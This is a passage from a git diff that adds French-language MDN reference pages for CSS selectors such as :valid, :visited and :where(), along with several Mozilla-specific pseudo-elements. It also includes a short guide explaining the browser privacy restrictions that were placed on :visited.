+ <li><a href="/fr/docs/Web/CSS/CSS_Selectors/Using_the_%3Atarget_pseudo-class_in_selectors">Utiliser la pseudo-classe <code>:target</code> dans les sélecteurs</a></li>
+ <li><a href="https://madmurphy.github.io/takefive.css/">Un exemple d'utilisation de <code>:target</code> pour un système de diapositives, sur GitHub</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_valid/index.html b/files/fr/web/css/_colon_valid/index.html
new file mode 100644
index 0000000000..5a37129d22
--- /dev/null
+++ b/files/fr/web/css/_colon_valid/index.html
@@ -0,0 +1,120 @@
+---
+title: ':valid'
+slug: 'Web/CSS/:valid'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:valid'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:valid</code></strong> permet de cibler tout élément {{HTMLElement("input")}} ou {{HTMLElement("form")}} dont la <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">validation</a> du contenu s'effectue correctement par rapport au type de donnée attendu. On peut ainsi facilement mettre en forme les champs correctement remplis par l'utilisateur.</p>
+
+<pre class="brush: css no-line-numbers">input:valid {
+  background-color: #ddffdd;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple présente un formulaire dont les éléments se colorent en vert lorsqu'ils sont valides et en rouge lorsqu'ils sont invalides.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:invalid {
+  background-color: #ffdddd;
+}
+
+form:invalid {
+  border: 5px solid #ffdddd;
+}
+
+input:valid {
+  background-color: #ddffdd;
+}
+
+form:valid {
+  border: 5px solid #ddffdd;
+}
+
+input:required {
+  border-color: #800000;
+  border-width: 3px;
+}
+
+input:required:valid {
+  border-color: #008000;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label&gt;Veuillez saisir une URL :&lt;/label&gt;
+  &lt;input type="url"&gt;
+  &lt;br&gt;
+  &lt;br&gt;
+  &lt;label&gt;Veuillez saisir une adresse électronique :&lt;/label&gt;
+  &lt;input type="email" required&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples',600,150)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>La couleur rouge est généralement utilisée afin d'indiquer une valeur invalide. Les personnes ayant du mal à différencier les couleurs ne seront pas capables de déterminer la validité du champ si celui-ci n'est pas accompagné d'un indicateur qui n'est pas basé sur une couleur. Pour résoudre ce problème, on pourra utiliser un texte indicatif et/ou une icône.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Explications des recommendation WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-valid', ':valid')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-valid', ':valid')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et aux contraintes de validation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#validity-pseudos', ':valid')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.valid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":optional")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">La validation des données d'un formulaire</a></li>
+ <li><a href="/fr/docs/Web/API/ValidityState">Accéder à l'état de validité en JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_visited/index.html b/files/fr/web/css/_colon_visited/index.html
new file mode 100644
index 0000000000..5d54e0de21
--- /dev/null
+++ b/files/fr/web/css/_colon_visited/index.html
@@ -0,0 +1,113 @@
+---
+title: ':visited'
+slug: 'Web/CSS/:visited'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:visited'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:visited</code></strong> permet de modifier l'aspect d'un lien après que l'utilisateur l'a visité. Pour des raisons relatives à la vie privée, les propriétés qui peuvent être utilisées sont restreintes.</p>
+
+<pre class="brush: css no-line-numbers">a:visited {
+  color: #4b2f89;
+}</pre>
+
+<p>Cette mise en forme peut être écrasée par toute autre pseudo-classe liée aux liens ({{cssxref(":link")}}, {{cssxref(":hover")}}, et {{cssxref(":active")}}) qui apparaîtrait dans les règles CSS suivantes. Il est donc important de bien ordonner les pseudo-classes pour une bonne mise en forme : <code>:visited</code> doit être utilisée après une règle basée sur <code>:link</code>, mais avant les autres  (<code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>).</p>
+
+<h2 id="Restrictions">Restrictions</h2>
+
+<p>Pour des raisons de vie privée, les navigateurs limitent les propriétés qui peuvent être appliquées à cette pseudo-classe :</p>
+
+<ul>
+ <li>Les propriétés CSS autorisées sont  {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("outline-color")}}, {{cssxref("column-rule-color")}}</li>
+ <li>Les attributs SVG autorisés sont {{SVGAttr("fill")}} and {{SVGAttr("stroke")}}.</li>
+ <li>La composante alpha sera ignorée : la composante alpha d'un lien non-visité est utilisé à la place (sauf quand l'opacité est <code>0</code>, dans ce cas, toute la couleur est ignorée, ainsi que celle de la règle non-visité).</li>
+ <li>Bien qu'on puisse modifier la couleur d'un lien, la méthode {{domxref("window.getComputedStyle")}} mentira et indiquera toujours la valeur de la couleur de la règle pour les liens non-visités.</li>
+</ul>
+
+<p>Pour d'autres informations sur ces limitations et leurs raisons d'être, se référer à l 'article <a href="/fr/docs/Web/CSS/:visited_et_la_vie_privée">Vie privée et le sélecteur <code>:visited</code></a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:visited { color: #00ff00; }</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;a href="https://developer.mozilla.org/fr/docs/Web/CSS/:visited"&gt;
+  Cette page est visitée
+&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&lt;a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Guide/"&gt;
+  Essayez celle-ci peut-être ?
+&lt;/a&gt;&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#link', ':visited')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#link', ':visited')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Suppression de la restriction limitant son usage à l'élément {{HTMLElement("a")}}. Permission donnée aux navigateurs de limiter le comportement de cette pseudo-classe pour des questions de vie privée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':visited')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.visited")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Privacy_and_the_:visited_selector">Vie privée et le sélecteur <code>:visited</code></a></li>
+ <li>Les pseudo-classes relatives aux liens :
+  <ul>
+   <li>{{cssxref(":link")}},</li>
+   <li>{{cssxref(":visited")}},</li>
+   <li>{{cssxref(":hover")}},</li>
+   <li>{{cssxref(":active")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/_colon_visited_et_la_vie_privée/index.html b/files/fr/web/css/_colon_visited_et_la_vie_privée/index.html
new file mode 100644
index 0000000000..5f5a3655e8
--- /dev/null
+++ b/files/fr/web/css/_colon_visited_et_la_vie_privée/index.html
@@ -0,0 +1,73 @@
+---
+title: 'Le sélecteur :visited et la vie privée'
+slug: 'Web/CSS/:visited_et_la_vie_privée'
+tags:
+  - CSS
+  - Guide
+  - Sécurité
+translation_of: 'Web/CSS/Privacy_and_the_:visited_selector'
+---
+<div>{{CSSRef}}</div>
+
+<p>Par le passé (avant 2010), le sélecteur CSS {{cssxref(":visited")}} permettait aux sites d'effectuer des requêtes sur l'historique de l'utilisateur grâce à la méthode {{domxref("window.getComputedStyle")}} ou à d'autre techniques, parcourant l'historique de l'utilisateur afin de connaître les sites qu'il avait visité. Cela pouvait effectué rapidement et permettait d'obtenir beaucoup d'informations sur l'identité d'un utilisateur.</p>
+
+<p>Afin de palier au problème, Gecko ({{Gecko("2")}}) a été modifié afin de limiter la quantité d'informations qui peut être obtenue au travers des liens visités. Les autres navigateurs ont également été modifiés de façon semblable.</p>
+
+<h2 id="Quelques_petits_mensonges_pour_se_protéger">Quelques petits mensonges pour se protéger</h2>
+
+<p>La première modification consiste à faire mentir Gecko envers les applications web sous certaines circonstances. </p>
+
+<ul>
+ <li><code>window.getComputedStyle()</code> et les fonctions analogues comme {{domxref("element.querySelector()")}} renverront toujours des valeurs indiquant que l'utilisateur n'a jamais visité aucun des liens présents sur une page.</li>
+ <li>Si on utilise un sélecteur d'élément voisin comme <code>:visited + span</code>, l'élément {{htmlelement("span")}} sera mis en forme comme si le lien n'avait pas été visité.</li>
+ <li>Enfin, dans quelques rares scénarios, si on utilise des liens imbriqués et que l'élément ciblé par CSS diffère du lien dont on souhaite savoir s'il a été visité, cet élément sera dessiné comme si le lien n'avait pas été visité.</li>
+</ul>
+
+<h2 id="Les_limites_de_la_mise_en_forme_applicable_aux_liens_visités">Les limites de la mise en forme applicable aux liens visités</h2>
+
+<p>On peut toujours mettre en forme les liens visités mais quelques limites s'appliquent désormais. Seule les propriétés suivantes pourront être appliquées aux liens visités :</p>
+
+<ul>
+ <li>{{cssxref("color")}},</li>
+ <li>{{cssxref("background-color")}},</li>
+ <li>{{cssxref("border-color")}} (et les propriétés détaillées associées),</li>
+ <li>{{cssxref("column-rule-color")}},</li>
+ <li>{{cssxref("outline-color")}},</li>
+ <li>Les composantes de couleur liées aux attributs SVG {{SVGAttr("fill")}} et {{SVGAttr("stroke")}}.</li>
+</ul>
+
+<p>De plus, même pour ces propriétés, il n'est pas possible de modifier la transparence entre les liens qui ont été visités et les autres (comme on pourrait le faire par ailleurs avec <code><a href="https://developer.mozilla.org/fr/docs/Web/CSS/Type_color#rgb()_et_rgba()">rgba()</a></code> ou <code><a href="/fr/docs/Web/CSS/Type_color#hsl()_et_hsla()">hsla()</a></code> ou avec le mot-clé <code><a href="/fr/docs/Web/CSS/Type_color#Le_mot-cl%C3%A9_transparent">transparent</a></code>).</p>
+
+<p>Voici un exemple de mise en forme prenant en compte ces restrictions :</p>
+
+<pre class="brush: css">:link {
+  outline: 1px dotted blue;
+  background-color: white;
+  /* La valeur par défaut de background-color est 'transparent'.
+     et il faut donc une valeur différente, sinon les modifications
+     pour :visited ne s'appliqueront pas. */
+}
+
+:visited {
+  outline-color: orange;     /* Les liens visités auront un contour orange */
+  color: yellow;             /* Le texte des liens visités sera en jaune   */
+  background-color: green;   /* L'arrière-plan des liens visités sera vert */
+}
+</pre>
+
+<h2 id="Impact_sur_les_développeurs_web">Impact sur les développeurs web</h2>
+
+<p>De façon générale, cela ne devrait pas impacter les développeurs de façon significative. Il faudra toutefois appliquer les modifications suivantes aux sites :</p>
+
+<ul>
+ <li>L'utilisation d'images d'arrière-plan pour la mise en forme des liens visités ne fonctionnera plus car seules les couleurs peuvent être utilisées pour les mettre en avant.</li>
+ <li>Les couleurs qui seraient transparentes de façon normale ne seront pas affichées si elles participent à la mise en forme d'un sélecteur <code>:visited</code>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">Les modifications apportées à <code>:visited</code> pour la vie privée (en anglais)</a> sur Mozilla Hacks</li>
+ <li><a href="https://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">Colmater la fuite de l'historique via CSS (en anglais)</a> sur le blog de sécurité Mozilla</li>
+ <li><a href="http://dbaron.org/mozilla/visited-privacy">Empêcher les attaques vers l'historique de l'utilisateur perpétrées via <code>:visited</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_where/index.html b/files/fr/web/css/_colon_where/index.html
new file mode 100644
index 0000000000..7b1eac9461
--- /dev/null
+++ b/files/fr/web/css/_colon_where/index.html
@@ -0,0 +1,52 @@
+---
+title: ':where()'
+slug: 'Web/CSS/:where'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+  - Sélecteur
+translation_of: 'Web/CSS/:where'
+---
+<div>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>La pseudo-classe fonctionnelle <strong><code>:where()</code></strong> prend comme argument une liste de sélecteurs et cible tout élément qui peut être sélectionné par l'un des sélecteurs de la liste.</p>
+
+<p>La différence entre <code>:where()</code> et {{CSSxRef(":is", ":is()")}} est la suivante : <code>:where()</code> aura toujours <a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage#Spécificité">une spécificité</a> nulle tandis que <code>:is()</code> prend la spécificité du sélecteur passé en argument le plus spécifique.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#zero-matches", ":where()")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.where")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}</li>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-color-swatch/index.html b/files/fr/web/css/_doublecolon_-moz-color-swatch/index.html
new file mode 100644
index 0000000000..c2555bb941
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-color-swatch/index.html
@@ -0,0 +1,60 @@
+---
+title: '::-moz-color-swatch'
+slug: 'Web/CSS/::-moz-color-swatch'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-moz-color-swatch'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-elements">pseudo-élément</a> <strong><code>::-moz-color-swatch</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_Mozilla">un pseudo-élément spécifique à Mozilla</a> qui représente la couleur sélectionnée d'un élément {{HTMLElement("input")}} avec <code>type="color"</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Utiliser <code>::-moz-color-swatch</code> sur tout autre élément qu'un  <code>&lt;input type="color"&gt;</code> n'aura aucun effet.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="color" value="#de2020"/&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type=color]::-moz-color-swatch {
+  border-radius: 10px;
+  border-style: none;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 50)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Ce pseudo-élément est spécifique à Gecko et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-color-swatch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments semblables utilisés par les autres navigateurs :
+  <ul>
+   <li>{{cssxref("::-webkit-color-swatch")}} pris en charge par WebKit et Blink (utilisés par Safari, Chrome et Opera)</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-list-bullet/index.html b/files/fr/web/css/_doublecolon_-moz-list-bullet/index.html
new file mode 100644
index 0000000000..f394c8a1c1
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-list-bullet/index.html
@@ -0,0 +1,55 @@
+---
+title: '::-moz-list-bullet'
+slug: 'Web/CSS/::-moz-list-bullet'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/:-moz-list-bullet'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément CSS</a> non-standard <strong><code>::-moz-list-bullet</code></strong> de Mozilla est utilisé pour appliquer un style aux puces des éléments d'une liste non ordonnée (autrement dit, pour un élément {{htmlelement("li")}}) contenu dans un élément {{htmlelement("ul")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">li::-moz-list-bullet { <em>propriétés de style</em> }</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Numéro 1&lt;/li&gt;
+  &lt;li&gt;Numéro 2&lt;/li&gt;
+  &lt;li&gt;Numéro 3&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;ul class="list"&gt;
+  &lt;li&gt;Numéro 1&lt;/li&gt;
+  &lt;li&gt;Numéro 2&lt;/li&gt;
+  &lt;li&gt;Numéro 3&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.list ::-moz-list-bullet {
+  font-size: 36px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '', '', '', 'Web/CSS/:-moz-list-bullet')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-list-number")}}</li>
+ <li>{{cssxref("::marker")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-list-number/index.html b/files/fr/web/css/_doublecolon_-moz-list-number/index.html
new file mode 100644
index 0000000000..0f12741d94
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-list-number/index.html
@@ -0,0 +1,52 @@
+---
+title: '::-moz-list-number'
+slug: 'Web/CSS/::-moz-list-number'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/:-moz-list-number'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément CSS</a> <strong><code>::-moz-list-number</code></strong> permet de personnaliser l'apparence des numéros des éléments de liste ({{HTMLElement("li")}}) au sein des listes numérotées ({{HTMLElement("ol")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">li::-moz-list-number { <em>propriétés de style</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">li::-moz-list-number {
+  font-style: italic;
+  font-weight: bold;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;ol&gt;
+  &lt;li&gt;Premier élément&lt;/li&gt;
+  &lt;li&gt;Second élément&lt;/li&gt;
+  &lt;li&gt;Troisième élément&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-list-bullet")}}</li>
+ <li>{{cssxref("::marker")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-page-sequence/index.html b/files/fr/web/css/_doublecolon_-moz-page-sequence/index.html
new file mode 100644
index 0000000000..1176bd6b65
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-page-sequence/index.html
@@ -0,0 +1,34 @@
+---
+title: '::-moz-page-sequence'
+slug: 'Web/CSS/::-moz-page-sequence'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-moz-page-sequence'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>Le pseudo-élément <code>::-moz-page-sequence</code>, spécifique à Mozilla, représente l'arrière-plan du document lors de la prévisualisation avant une impression.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-page-sequence")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-moz-page")}}</li>
+ <li>{{cssxref("::-moz-scrolled-page-sequence")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-page/index.html b/files/fr/web/css/_doublecolon_-moz-page/index.html
new file mode 100644
index 0000000000..b5a265403d
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-page/index.html
@@ -0,0 +1,34 @@
+---
+title: '::-moz-page'
+slug: 'Web/CSS/::-moz-page'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-moz-page'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> CSS <code>::-moz-page</code>, spécifique à Mozilla, est appliqué aux pages individuelles dans les impressions ou les aperçus avant impression.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-page")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-moz-page-sequence")}}</li>
+ <li>{{cssxref("::-moz-scrolled-page-sequence")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-progress-bar/index.html b/files/fr/web/css/_doublecolon_-moz-progress-bar/index.html
new file mode 100644
index 0000000000..bd587d7c2e
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-progress-bar/index.html
@@ -0,0 +1,51 @@
+---
+title: '::-moz-progress-bar'
+slug: 'Web/CSS/::-moz-progress-bar'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-moz-progress-bar'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Le pseudo-élément <strong><code>::-moz-progress-bar</code></strong> s'appliquant à la zone d'élément HTML {{HTMLElement("progress")}} représente la valeur de la progression effectuée jusqu'à présent. Vous pourrez par exemple, modifier la couleur de la barre de progression.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#redbar::-moz-progress-bar {
+  background-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;">&lt;progress id="redbar" value="30" max="100"&gt;30 %&lt;/progress&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<p>Une barre de progression mise en forme de cette façon devrait ressembler à :</p>
+
+<p><img alt="Custom styled progress bar" class="default internal" src="/@api/deki/files/5387/=redbar.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{cssxref("::-ms-fill")}}</li>
+ <li>{{cssxref("::-webkit-progress-bar")}}</li>
+ <li>{{cssxref("::-webkit-progress-value")}}</li>
+ <li>{{cssxref("::-webkit-progress-inner-element")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-range-progress/index.html b/files/fr/web/css/_doublecolon_-moz-range-progress/index.html
new file mode 100644
index 0000000000..4d7787f37a
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-range-progress/index.html
@@ -0,0 +1,69 @@
+---
+title: '::-moz-range-progress'
+slug: 'Web/CSS/::-moz-range-progress'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
